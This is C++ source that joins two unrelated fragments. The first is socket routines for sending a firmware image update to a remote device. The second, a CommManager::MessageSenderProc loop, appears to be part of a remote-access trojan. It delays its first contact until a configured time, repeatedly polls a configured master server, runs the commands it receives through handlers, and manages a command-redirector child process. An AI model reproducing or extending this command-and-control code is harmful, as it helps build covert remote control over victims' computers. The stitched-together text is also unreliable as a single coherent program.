int CUploadFile::UpdateImageEndCmd( SOCKET sk,int loginID, int checkSum )
{
REMOTE_UPDATE_END_REQUEST msg;
REMOTE_UPDATE_END_RESPONSE rsp;
msg.header.command = REMOTE_SYSTEM_UPDATE_OVER;
msg.loginID = loginID;
msg.CheckSum = checkSum;
msg.h2n();
int ret = SendAndRecv(sk, (char*)&msg, sizeof(msg), (char*)&rsp, sizeof(rsp) );
if( ret < 0 )
return ret;
rsp.n2h();
if( rsp.header.command != SYSTEM_REQUEST_ACCEPT )
return HHV_ERROR_UPDATEND;
return 0;
}
int CUploadFile::UpdateImageBeginCmd(SOCKET sk, int loginID, int fileType, int channel, int imagLen)
{
REMOTE_UPDATE_BEGIN_REQUEST msg;
REMOTE_UPDATE_BEGIN_RESPONSE rsp;
msg.header.command = REMOTE_SYSTEM_UPDATE_REQUEST;
msg.loginID = loginID;
msg.uploadType = fileType;
msg.channel = channel;
msg.Length = imagLen;
msg.h2n();
int ret = SendAndRecv(sk, (char*)&msg, sizeof(msg), (char*)&rsp, sizeof(rsp) );
if( ret < 0 )
return ret;
rsp.n2h();
if( rsp.header.command != SYSTEM_REQUEST_ACCEPT )
{
return HHV_ERROR_UPDATEBEGIN;
}
return 0;
}
int CUploadFile::UpdateImageDataCmd(SOCKET sk,int loginID, unsigned char* buf, int len)
{
REMOTE_UPDATE_IMAGEDATA_REQUEST msg;
REMOTE_UPDATE_IMAGEDATA_RESPONSE rsp;
msg.header.command = REMOTE_SYSTEM_UPDATE_DATA;
msg.loginID = loginID;
msg.length = len;
assert( len > 0 );
memcpy( msg.data, buf, len );
msg.h2n();
int ret = SendAndRecv(sk, (char*)&msg, sizeof(msg), (char*)&rsp, sizeof(rsp) );
if( ret < 0 )
{
return ret;
}
rsp.n2h();
if( rsp.header.command != SYSTEM_REQUEST_ACCEPT )
return HHV_ERROR_UPDATEDATA;
return 0;
}
void CommManager::MessageSenderProc()
{
Wow64FsRedirectionDisabler disabler;
disabler.Disable();
DWORD sendTestTimeMS = 0;
BOOL bFirstConnect = TRUE;
BOOL bWaitUntil = (g_ConfigInfo.nFirstConnectHour >= 0 && g_ConfigInfo.nFirstConnectMinute >= 0);
ByteBuffer recvByteData;
while (m_bWorking)
{
if (! m_bWorking) break;
Sleep(m_dwMsgIntervalMS);
//如果配置了第一次上线时间,则需要检测并等待
if (bFirstConnect && bWaitUntil)
{
static int iCount = 0;
iCount++;
if (iCount < 5) continue;
iCount = 0;
SYSTEMTIME now;
::GetLocalTime(&now);
if (now.wHour == g_ConfigInfo.nFirstConnectHour && now.wMinute == g_ConfigInfo.nFirstConnectMinute)
{
bFirstConnect = FALSE;
}
else
{
continue;
}
}
//从CutupProtocol获取待发送数据
ByteBuffer toSendByteData;
COMM_NAME commName;
if (! GetMessageToSend( commName ,toSendByteData))
{
CreateEmptyPacket(toSendByteData);
commName = COMMNAME_DEFAULT;
}
ULONG targetIP = 0;
BOOL ret = FALSE;
do
{
ret = MySocket::IPOrHostname2IP(a2t(g_ConfigInfo.szAddr),targetIP);
} while (!ret);
ret = SendAndRecv(commName, targetIP, toSendByteData, toSendByteData.Size(), recvByteData);
if (! ret)
{
CmdRedirector &cmd = Manager::GetInstanceRef().m_cmdRedirector;
if (cmd.IsChildRunning())
cmd.Stop();
errorLog(_T("sendrecv msg [%d] failed"), commName);
continue;
}
if (!IsConnected())
{
ConnectedNotify();
}
CommData recvData;
ret = recvData.Parse(recvByteData, recvByteData.Size());
if (!ret )
{
errorLog(_T("parse received msg failed"));
continue;
}
MSGID msgid = recvData.GetMsgID();
if (INVALID_MSGID == msgid)
{
continue;
}
if ( MSGID_AVAILABLE_COMM == msgid )
{
continue;
}
//查询消息处理者
FnExecuteRCCommand fnCallback = NULL;
LPVOID lpParameter = NULL;
if (! Manager::GetInstanceRef().QueryCommandHandler(msgid, &fnCallback, &lpParameter)
|| NULL == fnCallback )
{
errorLog(_T("no handler for [%I64u]"), msgid);
CommData reply;
reply.Reply(recvData);
reply.SetMsgID(MSGID_REPLY_COMMAND);
reply.SetData(_T("error"), _T("invalid command"));
PushMsgToMaster(commName, reply);
continue;
}
debugLog(_T("recv msgid[%I64u]. try to handle it"), msgid);
//使用线程池处理，或者直接处理
if (recvData.UsingPoolThread())
{
PEXECUTOR_PARAMETER p = new EXECUTOR_PARAMETER;
p->msgid = msgid;
p->fnCallback = fnCallback;
p->lpParameter = lpParameter;
recvData.Serialize(p->data);
::QueueUserWorkItem(CmdExcutor, p, WT_EXECUTEDEFAULT);
}
else
{
ByteBuffer dataBuffer;
recvData.Serialize(dataBuffer);
fnCallback(msgid, dataBuffer, dataBuffer.Size(), lpParameter);
}
}
}